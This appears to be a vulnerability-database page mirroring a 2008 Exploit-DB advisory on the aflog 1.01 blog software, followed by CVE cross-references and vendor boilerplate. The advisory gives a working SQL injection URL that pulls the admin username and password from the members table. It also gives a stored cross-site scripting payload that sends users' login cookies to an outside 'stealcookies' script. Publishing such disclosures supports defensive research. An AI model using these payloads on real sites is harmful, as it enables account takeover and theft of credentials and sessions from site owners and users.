Lucene search
+L

aflog 1.01 - Cross-Site Scripting / SQL Injection

🗓️ 22 Jan 2008 00:00:00Reported by shinmaiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 43 Views

aflog 1.01 - Cross-Site Scripting / SQL Injection. Website: http://aflog.org

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2008-0397
23 Jan 200811:00
cve
cve
CVE
CVE-2008-0398
23 Jan 200811:00
cve
cvelist
Cvelist
CVE-2008-0397
23 Jan 200811:00
cvelist
cvelist
Cvelist
CVE-2008-0398
23 Jan 200811:00
cvelist
euvd
EUVD
EUVD-2008-0407
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2008-0408
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-0397
23 Jan 200812:00
nvd
nvd
NVD
CVE-2008-0398
23 Jan 200812:00
nvd
prion
Prion
Sql injection
23 Jan 200812:00
prion
prion
Prion
Cross site scripting
23 Jan 200812:00
prion
# Name: aflog 1.01 (and possibly earlier)
# Webiste: http://aflog.org/
# Vulnerability type: SQL Injection (comments.php) and XSS
# Author:
#         shinmai, 2008-01-22
###############################################################################
# Description:
#
# SQL INJECTION:
#
# SQL injection is possible in comments.php for the GET variable 'id', like
# this:
http://hostname/aflog/comments.php?id='[SQLI]/*
# The following POC exposes the username and password of the first registered
# user (the admin):

http://localhost/aflog/comments.php?id='+UNION+SELECT+666,null,concat('username:',username,',password:',password),1,null,1+FROM+members+ORDER+BY+id+DESC+LIMIT+1/*

#
# The same principle could be applied to view.php, but forming the SQL
# injection string is easier in comments.php, IMHO.
#
# NOTE:
# A possible sollution to this is setting magic_quotes_gpc to "on" but this is
# viable to cause other problems, so a patch to aflog would be more benefitial.
#
###############################################################################
#
# XSS
#
# The comment form doesn't do much parsing on comments posted, other than their
# length.
#
# A newly registered user can easily compose an URL with an XSS exploit and
# trick a logged in user to click it to steal their login cookie.
#
#   Example comment:

Don't go <script>var a="<a
href='http://server/stealcookies?"+encodeURI(document.cookie)+"'>here</a>";document.write(a);</script>.

#
# Cliking this link would send the login cookie as a GET request to 'server' to
# be processed by a script called 'stealcookies'
#
# Good luck, and be safe. Greetings to the light of my life, innoscent.
#

# milw0rm.com [2008-01-22]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.01445
43